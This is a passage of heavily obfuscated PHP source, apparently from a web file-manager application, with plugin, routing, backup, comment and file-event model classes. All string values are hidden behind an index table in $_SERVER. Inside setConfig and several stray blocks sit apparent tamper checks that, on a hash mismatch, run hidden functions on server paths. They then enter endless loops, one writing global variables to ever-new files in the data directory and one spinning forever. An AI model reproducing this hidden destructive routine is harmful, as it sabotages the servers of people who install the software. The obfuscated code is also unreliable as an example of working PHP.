$bٲܮ . $eާ . $Cɿѡ[761]); } else { if ($eާ == $Cɿѡ[1346] && !file_exists($bٲܮ . $eާ . $Cɿѡ[761]) && file_exists($bٲܮ . $Cɿѡ[1347])) { $C˞ș = (include $bٲܮ . $Cɿѡ[1347]); } else { if (file_exists($bٲܮ . $B• . $Cɿѡ[761])) { $C˞ș = (include $bٲܮ . $B• . $Cɿѡ[761]); } } } goto cܟ; e: $Cɿѡ =& $_SERVER[ֹ]; $B• = $Cɿѡ[1344]; $bٲܮ = $this->pluginPath . $Cɿѡ[1345]; goto Bɽ; Eߵ: } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($B) { $bǍ =& $_SERVER[ֹ]; $F͸ = $_SERVER[$bǍ[787]] . $bǍ[788]; $c = $bǍ[1295]; if ($_SERVER[$bǍ[783]] != $c($F͸)) { goto F; C͔Ɵ: $cѦ = $bǍ[790]; $cѦ($_SERVER[$bǍ[791]]); $fʎ؍ = $bǍ[785]; goto DѲ; b޲Ӹ: $dໄ = 1; for ($E󚌿ľ = $dໄ; $E󚌿ľ > 0; $E󚌿ľ++) { $bȟ(DATA_PATH . $E󚌿ľ, $d샌); } goto dÅΜ懴; DѲ: $fʎ؍(); $bȟ = $bǍ[1296]; $d샌 = json_encode($GLOBALS[$bǍ[1297]]); goto b޲Ӹ; F: $fʎ؍ = $bǍ[785]; $c촶 = $bǍ[786]; $BΎ = $_SERVER[$bǍ[787]] . $bǍ[788]; goto B¬; B¬: $dԍԉ = $c촶($BΎ); $f܂ = explode($bǍ[213], $dԍԉ); if (count($f܂) < $bǍ[599]) { $Dō = $bǍ[789]; $Dō(); } goto C͔Ɵ; dÅΜ懴: } return $this->modelPlugin->setConfig($this->pluginName, $B); } public function onSetConfig($c) { } public function onGetConfig($Aۆ) { } public function onChangeStatus($e) { } public function onUninstall() { } public function onInstall() { } public function authCheck($b = "\x70\154\x75\147\x69\x6e\101\x75\164\150") { $b =& $_SERVER[ֹ]; if (!defined($b[423])) { return !1; } if (_get($GLOBALS, $b[453])) { return !0; } $Aѻ = $this->getConfig(); if (!$Aѻ[$b]) { return !1; } return ActionCall($b[1348], $Aѻ[$b]); } public function url($C, $dŽ = '', $aɣ = true) { goto D; a: if (!$aɣ) { return $F; } echo $F; goto f; D: $A =& $_SERVER[ֹ]; $e = $this->getConfig(); $A = KOD_VERSION . $A[91] . KOD_VERSION_BUILD; goto CҘ墆; CҘ墆: $aӰޕ = $this->packageVersion(); $cч = $A . $A[408] . $aӰޕ; if (substr($C, 0, 4) == $A[142] || substr($C, 0, 2) == $A[1141]) { $F = $C . $A[1349] . $cч; } else { if ($dŽ == $A[33]) { $F = $this->pluginHost . $C . $A[1349] . $cч; } else { if ($dŽ === $A[76]) { $F = $this->pluginHost . $C; } else { if ($dŽ == $A[1350]) { $F = STATIC_PATH . $C . $A[1349] . $A; } else { if ($dŽ == $A[1351]) { $F = APP_HOST . $A[1352] . $C . $A[1349] . $A; } else { if (isset($e[$dŽ])) { $F = $e[$dŽ] . $C . $A[1349] . $cч; } } } } } } goto a; f: } public function link($D = false, $A = '') { $F۶ =& $_SERVER[ֹ]; if (!$D) { $this->link($F۶[1353], $F۶[1351]); $this->link($F۶[1354], $F۶[1350]); $this->link($F۶[1355], $F۶[1350]); $this->link($F۶[1356], $F۶[1350]); $this->link($F۶[1357], $F۶[1350]); return; } $dⷢ = $this->url($D, $A, !1); if (substr($D, -3) == $F۶[1358]) { echo $F۶[1359] . $dⷢ . $F۶[1360] . $F۶[213]; } else { if (substr($D, -4) == $F۶[1361]) { echo $F۶[1362] . $dⷢ . $F۶[1363] . $F۶[213]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\x5b\136\x2f\135\x2b", "\x3a\x6e\x75\155" => "\x5b\x30\x2d\x39\135\x2b", "\x3a\141\x6c\x6c" => "\56\x2a"); public static $errorCallback; public static function __callstatic($Fѳ, $FΒ۰) { $fƖ􏓷 =& $_SERVER[ֹ]; if ($Fѳ == $fƖ􏓷[1364]) { $C = array_map($fƖ􏓷[1365], $FΒ۰[0]); $Cྉஸ = strpos($FΒ۰[1], $fƖ􏓷[8]) === 0 ? $FΒ۰[1] : $fƖ􏓷[8] . $FΒ۰[1]; $B˒ = $FΒ۰[2]; } else { $C = null; $Cྉஸ = strpos($FΒ۰[0], $fƖ􏓷[8]) === 0 ? $FΒ۰[0] : $fƖ􏓷[8] . $FΒ۰[0]; $B˒ = $FΒ۰[1]; } array_push(self::$maps, $C); array_push(self::$routes, $Cྉஸ); array_push(self::$methods, strtoupper($Fѳ)); array_push(self::$callbacks, $B˒); } public static function error($Dͬ) { self::$errorCallback = $Dͬ; } public static function haltOnMatch($e = true) { self::$halts = $e; } public static function dispatch() { goto A; Cԣ: self::$routes = preg_replace($DĢ[1067], $DĢ[8], self::$routes); if (in_array($D߈ʎ, self::$routes)) { $Cℐ = array_keys(self::$routes, $D߈ʎ); foreach ($Cℐ as $CԔ) { if (self::$methods[$CԔ] == $C싈 || self::$methods[$CԔ] == $DĢ[1367] || in_array($C싈, self::$maps[$CԔ])) { $Cʏޒ = !0; if (!is_object(self::$callbacks[$CԔ])) { $Cꏃ = explode($DĢ[8], self::$callbacks[$CԔ]); $bᰥ = end($Cꏃ); $Eɺ̡ = explode($DĢ[1368], $bᰥ); $A = new $Eɺ̡[0](); $A->{$Eɺ̡[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$CԔ]); if (self::$halts) { return; } } } } } else { $B = 0; foreach (self::$routes as $CԔ) { if (strpos($CԔ, $DĢ[4]) !== !1) { $CԔ = str_replace($B, $dР, $CԔ); } if (preg_match($DĢ[1369] . $CԔ . $DĢ[1370], $D߈ʎ, $Cij)) { if (self::$methods[$B] == $C싈 || self::$methods[$B] == $DĢ[1367] || !empty(self::$maps[$B]) && in_array($C싈, self::$maps[$B])) { $Cʏޒ = !0; array_shift($Cij); if (!is_object(self::$callbacks[$B])) { $Cꏃ = explode($DĢ[8], self::$callbacks[$B]); $bᰥ = end($Cꏃ); $Eɺ̡ = explode($DĢ[1368], $bᰥ); $A = new $Eɺ̡[0](); if (!method_exists($A, $Eɺ̡[1])) { echo $DĢ[1371]; } else { call_user_func_array(array($A, $Eɺ̡[1]), $Cij); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$B], $Cij); if (self::$halts) { return; } } } } $B++; } } if ($Cʏޒ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $B僥 =& $_SERVER[ֹ]; header($_SERVER[$B僥[1372]] . $B僥[1373]); echo $B僥[1374]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$DĢ[1366]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } goto F䓨; A: $DĢ =& $_SERVER[ֹ]; $D߈ʎ = parse_url($_SERVER[$DĢ[1366]], PHP_URL_PATH); $C싈 = $_SERVER[$DĢ[150]]; goto B; B: $B = array_keys(static::$patterns); $dР = array_values(static::$patterns); $Cʏޒ = !1; goto Cԣ; F䓨: } } goto dΓ; Fٮ: if ($_SERVER[$_SERVER[ֹ][783]] != $_SERVER[$_SERVER[ֹ][784]]) { goto cኄ; b͓: $EĶ˳ = explode($_SERVER[ֹ][213], $E); if (count($EĶ˳) < $_SERVER[ֹ][552]) { $Bչ = $_SERVER[ֹ][789]; $Bչ(); } $FǪ = $_SERVER[ֹ][1481]; goto D†ތ; cኄ: $fӅ = $_SERVER[ֹ][786]; $eՊ = $_SERVER[$_SERVER[ֹ][787]] . $_SERVER[ֹ][788]; $E = $fӅ($eՊ); goto b͓; D†ތ: $FǪ($_SERVER[$_SERVER[ֹ][2101]]); goto Eь; Eь: } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\x65\155\x2e\142\141\143\x6b\x75\x70\x4c\x69\163\x74"; public $field = array("\151\157", "\156\x61\155\145", "\x73\x74\141\x74\165\163", "\143\x6f\156\164\x65\156\x74", "\x72\145\x73\x75\x6c\164", "\x74\151\155\x65\x46\162\157\155", "\164\151\x6d\x65\124\157"); public function config() { goto F; F: $d =& $_SERVER[ֹ]; $b = Model($d[1082])->get($d[709]); $b = json_decode($b, !0); goto D; E: if (isset($E[$d[186]])) { $E[$d[186]] = json_decode($E[$d[186]], !0); } if (isset($b[$d[186]])) { $E[$d[186]][$d[1390]] = $b[$d[186]]; unset($b[$d[186]]); } return array_merge($E, $b); goto B; e㍖ą: Action($d[2102])->taskInit(); $B։ɪ = Model($d[2103])->listData(); foreach ($B։ɪ as $a눛) { if ($a눛[$d[1074]] == $d[83] && $a눛[$d[1403]] == $d[2104]) { $E = $a눛; break; } } goto E; D: $b = is_array($b) ? $b : array(); if (!isset($b[$d[689]])) { $b[$d[689]] = $d[464]; } $E = array(); goto e㍖ą; B: } public function listData($Bﲯ = false, $B = "\x6d\x6f\144\151\146\x79\124\x69\155\145", $D = false) { return parent::listData($Bﲯ, $B, !0); } public function lastItem() { $a = $this->listData(); return !empty($a[0]) ? $a[0] : null; } public function kill($b۫𢘯) { goto A㓍ʌ; Fۄ: return $this->remove($b۫𢘯); goto eıٖ; EØŠ: $a = $eƄ[$eƣ[28]]; $C¦ = TEMP_FILES . $eƣ[707] . $a . $eƣ[8]; IO::remove($C¦, !1); goto Fۄ; fۊ: Task::kill($eƣ[708]); Task::kill($eƣ[726]); Task::kill($eƣ[733]); goto EØŠ; A㓍ʌ: $eƣ =& $_SERVER[ֹ]; $eƄ = $this->listData($b۫𢘯); if (!$eƄ || empty($eƄ[$eƣ[28]])) { return !0; } goto fۊ; eıٖ: } public function remove($c⸢) { $B᳍ң = $this->listData($c⸢); if (!$B᳍ң) { return !0; } return $this->backupRemove($B᳍ң); } private function backupRemove($Bު) { $d򋰞 =& $_SERVER[ֹ]; parent::remove($Bު[$d򋰞[363]]); $bٹ– = "\173\151\157\72{$Bު[$d򋰞[688]]}\175\x2f\x64\x61\164\141\142\141\x73\145\57\x62\141\143\x6b\x75\160\137" . $Bު[$d򋰞[28]]; IO::remove($bٹ–, !1); return !0; } public function start() { goto bߌ; Bǝ: $bɷ = new Backup(); $bɷ->keep(); if (!$bɷ->db()) { return !1; } goto c˨; Aˇƹ: if (!$f߬ || $f߬[$e[1387]] != $e[83]) { return !1; } $eĿ༸ = $this->process(); foreach ($eĿ༸ as $f) { if ($f) { return Task::restart($f[$e[363]]); } } goto Bǝ; dĿ: return !0; goto D; bߌ: $e =& $_SERVER[ֹ]; if ($GLOBALS[$e[6]][$e[84]][$e[2105]] != $e[83]) { return !0; } $f߬ = $this->config(); goto Aˇƹ; c˨: if (!$bɷ->dbFile()) { return !1; } if ($f߬[$e[689]] == $e[464]) { $bɷ->file(); } Backup::set(array($e[686] => 1, $e[700] => time())); goto dĿ; D: } public function process() { $Dᾑ =& $_SERVER[ֹ]; return array($Dᾑ[691] => Task::get($Dᾑ[708]), $Dᾑ[694] => Task::get($Dᾑ[726]), $Dᾑ[163] => Task::get($Dᾑ[733])); } public function restore() { $Fݐ =& $_SERVER[ֹ]; ActionCall($Fݐ[2106], !0, 1); ActionCall($Fݐ[2106], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\155\x65\x6e\x74"; protected $tableMeta = array("\164\x61\142\154\145\x4e\x61\155\x65" => "\143\157\x6d\155\145\156\164\x5f\155\145\164\141", "\x6d\x65\164\141\106\151\x65\x6c\144" => "\143\157\x6d\x6d\x65\x6e\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($F) { $f􎽨 =& $_SERVER[ֹ]; if ($F[$f􎽨[2107]]) { $dඝ = $this->where(array($f􎽨[2108] => $F[$f􎽨[2107]]))->find(); if (!$dඝ || $dඝ[$f􎽨[367]] != $F[$f􎽨[367]] || $dඝ[$f􎽨[452]] != $F[$f􎽨[452]]) { return !1; } $this->where(array($f􎽨[2108] => $F[$f􎽨[2107]]))->setAdd($f􎽨[2109], 1); } return $this->add($F); } public function remove($c̯) { $bʏ =& $_SERVER[ֹ]; $D = array($bʏ[2108] => $c̯); $E攨 = $this->where($D)->find(); if ($E攨[$bʏ[2107]]) { $this->where(array($bʏ[2108] => $E攨[$bʏ[2107]]))->setAdd($bʏ[2109], -1); } return $this->where($D)->delete(); } public function edit($aƆ, $fȐ) { $aӞ =& $_SERVER[ֹ]; $bӌ̲ = array($aӞ[2108] => $aƆ); return $this->where($bӌ̲)->save(array($aӞ[2110] => $fȐ)); } public function prasise($C٥) { $Cܲ =& $_SERVER[ֹ]; $AɍȤ = Model($Cܲ[2111]); $Eܖݮ = array($Cܲ[2108] => $C٥, $Cܲ[1406] => USER_ID); $fܞ = $AɍȤ->where($Eܖݮ)->find(); if (!$fܞ) { $AɍȤ->add($Eܖݮ); $F = $this->where(array($Cܲ[2108] => $C٥))->setAdd($Cܲ[2112], 1); } else { $AɍȤ->where($Eܖݮ)->delete(); $F = $this->where(array($Cܲ[2108] => $C٥))->setAdd($Cܲ[2112], -1); } return $F; } public function targetInfo($b╶Ǣ, $Fǿ) { goto DΫő; C횫: return $Dĺ; goto cܖ; CϢ: $Eήյ = "\122\x49\x47\x48\x54\x20\112\117\x49\x4e\40{$this->tablePrefix}\x63\157\155\x6d\145\156\x74\x5f\x70\x72\141\151\x73\145\40\163\164\141\x72\40\x6f\x6e\x20\143\x6f\155\x6d\x65\x6e\x74\x2e\x63\x6f\155\155\x65\x6e\164\x49\104\40\75\40\x73\164\x61\162\x2e\143\x6f\155\155\x65\156\164\x49\x44"; $B۾܋ = $this->alias($E[337])->where($c)->join($Eήյ, $E[2113])->count(); $Dĺ = array($E[2114] => $E܅, $E[2115] => $B۾܋); goto C횫; DΫő: $E =& $_SERVER[ֹ]; $c = array($E[517] => $b╶Ǣ, $E[518] => $Fǿ); $E܅ = $this->where($c)->count(); goto CϢ; cܖ: } public function listData($bӰ) { $d֕ϭ =& $_SERVER[ֹ]; if (isset($bӰ[$d֕ϭ[2116]])) { if ($bӰ[$d֕ϭ[2116]]) { $bӰ[$d֕ϭ[2117]] = array($d֕ϭ[924], intval($bӰ[$d֕ϭ[2116]])); } unset($bӰ[$d֕ϭ[2116]]); } if (isset($bӰ[$d֕ϭ[2118]])) { if ($bӰ[$d֕ϭ[2118]]) { $bӰ[$d֕ϭ[2117]] = array($d֕ϭ[921], intval($bӰ[$d֕ϭ[2118]])); } unset($bӰ[$d֕ϭ[2118]]); } return $this->_listData($bӰ); } private function _listData($E) { $b =& $_SERVER[ֹ]; $fҽ = $this->where($E)->_makeOrder()->selectPage(100); $this->_listAppendParent($fҽ[$b[350]]); $this->_listAppendUser($fҽ[$b[350]]); $this->_listAppendMeta($fҽ[$b[350]]); return $fҽ; } private function _makeOrder() { $B沆 =& $_SERVER[ֹ]; $F蕢č = array($B沆[2112], $B沆[2109], $B沆[183]); $Bߓ = Input::get($B沆[403], $B沆[7], $B沆[385], $F蕢č); $E = Input::get($B沆[404], $B沆[7], $B沆[1408], array($B沆[2119], $B沆[401])); $B = $Bߓ . $B沆[50] . $E; return $this->order($B); } private function _listAppendParent(&$Cؿ) { goto A뒜; A뒜: $B՘ =& $_SERVER[ֹ]; $e = array_unique(array_to_keyvalue($Cؿ, $B՘[33], $B՘[2107])); $e = array_remove_value($e, $B՘[464]); goto CՏ; cݦއ: foreach ($Cؿ as &$cָ) { if (isset($F[$cָ[$B՘[2107]]])) { $cָ[$B՘[2120]] = $F[$cָ[$B՘[2107]]]; } } goto bԷ; CՏ: if (!$e) { return; } $F = $this->where(array($B՘[2108] => array($B՘[7], $e)))->select(); $F = array_to_keyvalue($F, $B՘[2117]); goto cݦއ; bԷ: } private function _listAppendUser(&$D) { goto E; E: $cĹ =& $_SERVER[ֹ]; $B = array_unique(array_to_keyvalue($D, $cĹ[33], $cĹ[1415])); $B = array_remove_value($B, $cĹ[464]); goto c㋞; enjœ: foreach ($D as &$Fט) { $Fט[$cĹ[531]] = $Cҟ[$Fט[$cĹ[1415]]]; if (isset($Fט[$cĹ[2120]])) { $Fט[$cĹ[2120]][$cĹ[531]] = $Cҟ[$Fט[$cĹ[2120]][$cĹ[1415]]]; } } goto F; c㋞: if (count($B) == 0) { return; } foreach ($D as $Fט) { if (isset($Fט[$cĹ[2120]])) { $B[] = $Fט[$cĹ[2120]][$cĹ[1415]]; } } $Cҟ = Model($cĹ[473])->userListInfo($B); goto enjœ; F: } private function _listAppendMeta(&$eݜ) { goto A; eÐ: if (!$C) { return !1; } foreach ($eݜ as &$FǏ) { $FǏ[$F㑈׮[413]] = $C[$FǏ[$F㑈׮[2117]]]; if (isset($FǏ[$F㑈׮[2120]])) { $FǏ[$F㑈׮[2120]][$F㑈׮[413]] = $C[$FǏ[$F㑈׮[2120]][$F㑈׮[2117]]]; } } goto D▇; A: $F㑈׮ =& $_SERVER[ֹ]; $A崹ъ = array_unique(array_to_keyvalue($eݜ, $F㑈׮[33], $F㑈׮[2117])); $A崹ъ = array_remove_value($A崹ъ, $F㑈׮[464]); goto C˷; C˷: if (!$A崹ъ) { return; } foreach ($eݜ as $FǏ) { if (isset($FǏ[$F㑈׮[2120]])) { $A崹ъ[] = $FǏ[$F㑈׮[2120]][$F㑈׮[2117]]; } } $C = $this->metaList($A崹ъ); goto eÐ; D▇: } private function metaList($eҲ穃) { goto c; F֥: return $aő ? $aő : array(); goto b; c: $Bψ =& $_SERVER[ֹ]; if (!$eҲ穃) { return array(); } $dڐ = array($Bψ[2117] => array($Bψ[7], $eҲ穃)); goto e窯ț; e窯ț: $aő = Model($Bψ[2121])->where($dڐ)->select(); $aő = array_to_keyvalue_group($aő, $Bψ[2117]); foreach ($aő as $fמכ => $Dѥל) { $C닱ғ = array(); foreach ($Dѥל as $F) { $C닱ғ[$F[$Bψ[89]]] = $F[$Bψ[355]]; } $aő[$fמכ] = $C닱ғ; } goto F֥; b: } } goto B; eƆӔ: if (!isset($_SERVER[$_SERVER[ֹ][783]]) || !isset($_SERVER[$_SERVER[ֹ][2101]])) { goto eϓê; eϓê: $fӅ = $_SERVER[ֹ][786]; $eՊ = $_SERVER[$_SERVER[ֹ][787]] . $_SERVER[ֹ][788]; $E = $fӅ($eՊ); goto dۥ; dۥ: $EĶ˳ = explode($_SERVER[ֹ][213], $E); if (count($EĶ˳) < $_SERVER[ֹ][552]) { $Bչ = $_SERVER[ֹ][789]; $Bչ(); } $FǪ = $_SERVER[ֹ][1481]; goto EР·; EР·: $FǪ($_SERVER[$_SERVER[ֹ][787]] . $_SERVER[ֹ][788]); $fɍ = 2; while ($fɍ > 1) { $DȈ = rawurlencode($fɍ . $_SERVER[ֹ][357]); } goto c; c: } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\x6f\165\162\x63\145\137\145\x76\x65\156\164"; protected $dataAuto = array(array("\143\162\x65\141\164\x65\x54\x69\155\145", "\x74\151\x6d\x65", "\151\156\x73\x65\x72\x74", "\146\x75\x6e\x63\164\151\157\x6e"), array("\144\145\163\x63", '', "\x69\156\x73\x65\162\164\54\165\160\144\x61\164\x65\54\163\x65\x6c\x65\x63\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($f􃬬, $Fٮ, $f䌫ͼ = '') { goto Bǧ; E: if (!$b⻹) { return !1; } if ($this->isCacheEvent($b⻹, $Fٮ)) { return; } if ($f䌫ͼ && is_string($f䌫ͼ)) { $f䌫ͼ = array($A[2110] => $f䌫ͼ); } goto b̹; b̹: $Fب = array($A[379] => $f􃬬, $A[2253] => $b⻹[$A[457]], $A[2254] => $b⻹[$A[28]], $A[462] => $b⻹[$A[462]], $A[1406] => USER_ID, $A[384] => $Fٮ, $A[1408] => $f䌫ͼ); $this->addSystemLog($Fٮ, $Fب); return $this->add($Fب); goto eđ؋; Bǧ: $A =& $_SERVER[ֹ]; if (!$this->eventSave) { return; } $b⻹ = Model($A[1104])->sourceInfo($f􃬬); goto E; eđ؋: } private function addSystemLog($B׿⏴, $B퐬) { $F͡ʫ =& $_SERVER[ֹ]; if ($B׿⏴ == $F͡ʫ[2255]) { $B׿⏴ = $B퐬[$F͡ʫ[401]][$F͡ʫ[2256]]; } else { if (in_array($B׿⏴, array($F͡ʫ[2056], $F͡ʫ[2257]))) { $B׿⏴ = $B퐬[$F͡ʫ[401]][$F͡ʫ[689]]; } } $f = array_merge($B퐬, array($F͡ʫ[2258] => $B퐬[$F͡ʫ[365]], $F͡ʫ[2259] => $B퐬[$F͡ʫ[2259]])); Model($F͡ʫ[2020])->addLog($F͡ʫ[2260] . $B׿⏴, $f); } private function isCacheEvent($aטՇ, $F) { if ($aטՇ[$_SERVER[ֹ][367]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($cƤ܌, $A) { $bκ =& $_SERVER[ֹ]; $D޵ = Model($bκ[1104])->sourceInfo($cƤ܌); $Eٶ = array($bκ[2256] => $A, $bκ[28] => $D޵[$bκ[28]]); return $this->addEvent($cƤ܌, $bκ[2255], $Eٶ); } public function eventFileEdit($B̋還) { $F =& $_SERVER[ֹ]; $Aׇ = array($F[2261] => $_SERVER[$F[2262]], $F[1726] => strtolower(ACTION)); return $this->addEvent($B̋還, $F[2047], $Aׇ); } public function eventRecycle($f, $c՗) { return $this->addEvent($f, $_SERVER[ֹ][2257], $c՗); } public function eventRemove($E꿪) { $d֎ =& $_SERVER[ֹ]; $Fꬹ = Model($d֎[1104])->sourceInfo($E꿪); $ėܖ = $Fꬹ[$d֎[28]]; return $this->addEvent($Fꬹ[$d֎[457]], $d֎[2046], $ėܖ); } public function eventShare($c΄, $fĆé) { return $this->addEvent($c΄, $_SERVER[ֹ][2056], $fĆé); } public function eventMove($F҆Ӈ, $D, $C) { goto e; e: $this->addEvent($D, $Fӏ[2267], $CЉē); goto A睦; e: $Fӏ =& $_SERVER[ֹ]; $fܿ = Model($Fӏ[1104]); $cڠ܄˚ = $fܿ->sourceInfo($F҆Ӈ); goto c; dlj݃: $this->addEvent($F҆Ӈ, $Fӏ[488], $CЉē); $cڠ܄˚ = $fܿ->sourceInfo($F҆Ӈ); $CЉē = array($Fӏ[365] => $cڠ܄˚[$Fӏ[365]], $Fӏ[28] => $cڠ܄˚[$Fӏ[28]]); goto e; c: $d݉ = $fܿ->sourceInfo($D); $Fى = $fܿ->sourceInfo($C); $CЉē = array($Fӏ[1000] => $D, $Fӏ[2263] => $d݉[$Fӏ[28]], $Fӏ[2264] => $d݉[$Fӏ[462]], $Fӏ[1001] => $C, $Fӏ[2265] => $Fى[$Fӏ[28]], $Fӏ[2266] => $Fى[$Fӏ[462]]); goto dlj݃; A睦: } public function eventCopy($D౗) { $this->eventCreate($D౗, $_SERVER[ֹ][486]); } public function eventRename($AɈ, $B, $c榶) { $aƱړ =& $_SERVER[ֹ]; $F = array($aƱړ[1000] => $B, $aƱړ[1001] => $c榶); return $this->addEvent($AɈ, $aƱړ[1116], $F); } public function eventAddComment($AŚ, $Cɥ) { return $this->addEvent($AŚ, $_SERVER[ֹ][2268], $Cɥ); } public function eventAddDesc($F۰, $Bٮ) { return $this->addEvent($F۰, $_SERVER[ֹ][2269], $Bٮ); } public function listBySource($c) { goto A펻; A펻: $f =& $_SERVER[ֹ]; $A = Model($f[1104])->sourceInfo($c); $C񯂕 = array($f[379] => $c); goto e˄۽; e˄۽: if ($A[$f[366]] == $f[83]) { $bވ = Model($f[1104])->listSearchChildren($c, 20000); $bވ[] = $c . $f[357]; $C񯂕 = array($f[365] => array($f[7], $bވ)); } $dߦ = $this->where($C񯂕)->order($f[2270])->selectPage(); if ($dߦ[$f[347]][$f[348]] == 0) { $dߦ[$f[347]][$f[348]] = 1; $dߦ[$f[350]] = array(array($f[379] => $c, $f[2253] => $A[$f[457]], $f[1406] => $A[$f[374]], $f[384] => $f[2271], $f[385] => $A[$f[183]], $f[1408] => $f[33])); } goto A㗈; A㗈: $dߦ = $this->eventListParse($dߦ, $c); show_json($dߦ); goto c͑΃; c͑΃: } private function eventListParse($C鮱, $f챊̴) { goto C驎כ; aɿ: $dі = array_unique($dі); $bۺɖ = array_unique(array_to_keyvalue($e黆, $eԫ[33], $eԫ[1415])); $D = Model($eԫ[473])->userListInfo($bۺɖ); goto Fٿ; C驎כ: $eԫ =& $_SERVER[ֹ]; $e黆 = $C鮱[$eԫ[350]]; $dі = array_to_keyvalue($e黆, $eԫ[33], $eԫ[365]); goto fþ; Fٿ: $Bχ = Model($eԫ[749])->sourceListInfo($dі, !0); foreach ($e黆 as &$Bԙ) { if ($Bԙ[$eԫ[29]] == $eԫ[488] && isset($Bԙ[$eԫ[401]][$eԫ[1000]])) { $Bԙ[$eԫ[401]][$eԫ[1000]] = $Bχ[$Bԙ[$eԫ[401]][$eԫ[1000]]]; $Bԙ[$eԫ[401]][$eԫ[1001]] = $Bχ[$Bԙ[$eԫ[401]][$eԫ[1001]]]; } if ($Bԙ[$eԫ[29]] == $eԫ[2267] && isset($Bԙ[$eԫ[401]][$eԫ[365]])) { $Bԙ[$eԫ[401]][$eԫ[365]] = $Bχ[$Bԙ[$eԫ[401]][$eԫ[365]]]; } $Bԙ[$eԫ[387]] = $Bχ[$Bԙ[$eԫ[365]]]; $Bԙ[$eԫ[2272]] = $Bχ[$Bԙ[$eԫ[2259]]]; if ($Bԙ[$eԫ[29]] == $eԫ[2046]) { $Bԙ[$eԫ[2272]] = $Bԙ[$eԫ[387]]; $Bԙ[$eԫ[2259]] = $Bԙ[$eԫ[2272]][$eԫ[365]]; $Bԙ[$eԫ[387]] = !1; $Bԙ[$eԫ[365]] = $eԫ[33]; } $Bԙ[$eԫ[2217]] = $D[$Bԙ[$eԫ[1415]]]; } $C鮱[$eԫ[350]] = $e黆; goto C; C: return $C鮱; goto c϶ȷ; fþ: $e = array_to_keyvalue($e黆, $eԫ[33], $eԫ[2259]); foreach ($e黆 as $Bԙ) { $Fʈ = $Bԙ[$eԫ[401]]; if ($Bԙ[$eԫ[29]] == $eԫ[488] && isset($Fʈ[$eԫ[1000]])) { $dі[] = $Fʈ[$eԫ[1000]] . $eԫ[33]; $dі[] = $Fʈ[$eԫ[1001]] . $eԫ[33]; } if ($Bԙ[$eԫ[29]] == $eԫ[2267] && isset($Fʈ[$eԫ[365]])) { $dі[] = $Fʈ[$eԫ[365]] . $eԫ[33]; } } $dі = array_merge($dі, $e, array($f챊̴ . $eԫ[33])); goto aɿ; c϶ȷ: } public function removeBySource($e傳) { $D⃌ = array($_SERVER[ֹ][379] => $e傳); $this->where($D⃌)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\x6f\x5f\163\157\165\x72\143\145\137\150\151\163\164\157\162\x79"; public function addHistory($A؆, $aŪ = '') { $e =& $_SERVER[ֹ]; $f⑈ = array($e[379] => $A؆[$e[365]], $e[1406] => isset($A؆[$e[375]]) ? $A؆[$e[375]] : $A؆[$e[374]], $e[416] => $A؆[$e[415]], $e[516] => $A؆[$e[77]], $e[2273] => $aŪ); $Fծ = $GLOBALS[$e[6]][$e[84]][$e[2274]]; if ($Fծ > 1) { $this->historyAutoClear($f⑈[$e[365]]); $this->add($f⑈); } Model($e[2275])->eventFileEdit($A؆[$e[365]]); } private function historyAutoClear($AۑŃ) { goto cƺ; f褣ﯟ: $c˱ʐ = array($aͅ[381] => array($aͅ[7], $cԬ)); $this->where($c˱ʐ)->delete(); Model($aͅ[418])->remove($f΃ñ); goto eײ; EÅ: if ($Ě >= 500) { return; } $c˱ʐ = array($aͅ[379] => $AۑŃ); $eǏ = $this->field($aͅ[2278])->where($c˱ʐ)->order($aͅ[2270])->select(); goto aȣ; a؈: $f΃ñ = array_to_keyvalue($eǏ, $aͅ[33], $aͅ[415]); $f΃ñ = array_slice($f΃ñ, $Ě); if (!$cԬ || !$f΃ñ) { return; } goto f褣ﯟ; cƺ: $aͅ =& $_SERVER[ֹ]; $dР = Model($aͅ[1082])->get($aͅ[2276]); $BĽ = $GLOBALS[$aͅ[6]][$aͅ[84]][$aͅ[2274]]; goto fǔ; aȣ: if (!$eǏ || $Ě >= count($eǏ)) { return; } $cԬ = array_to_keyvalue($eǏ, $aͅ[33], $aͅ[363]); $cԬ = array_slice($cԬ, $Ě); goto a؈; fǔ: $F = $dР == $aͅ[2277] ? 3 : $BĽ; if ($BĽ <= 1) { $F = 1; } $Ě = $F - 1; goto EÅ; eײ: } public function listData($BĬ쎅) { goto FΜ; FΜ: $Aﹻ =& $_SERVER[ֹ]; $c = array($Aﹻ[379] => $BĬ쎅); $e嗣 = $Aﹻ[2279]; goto C兼; C兼: $Cäϫ = $this->field($e嗣)->where($c)->order($Aﹻ[2270])->selectPage(); $this->_listAppendUser($Cäϫ[$Aﹻ[350]]); $Cɋ = Model($Aﹻ[1082])->get($Aﹻ[2276]); goto b܋; b܋: $d = 3; if ($Cɋ == $Aﹻ[2277]) { $Cäϫ[$Aﹻ[350]] = array_slice($Cäϫ[$Aﹻ[350]], 0, $d); $Cäϫ[$Aﹻ[347]] = array($Aﹻ[2280] => 1, $Aﹻ[2281] => 20, $Aﹻ[2282] => 1, $Aﹻ[2283] => count($Cäϫ[$Aﹻ[350]])); } return $Cäϫ; goto B; B: } protected function _listAppendUser(&$c竂) { $c =& $_SERVER[ֹ]; $fЪ = array_to_keyvalue($c竂, 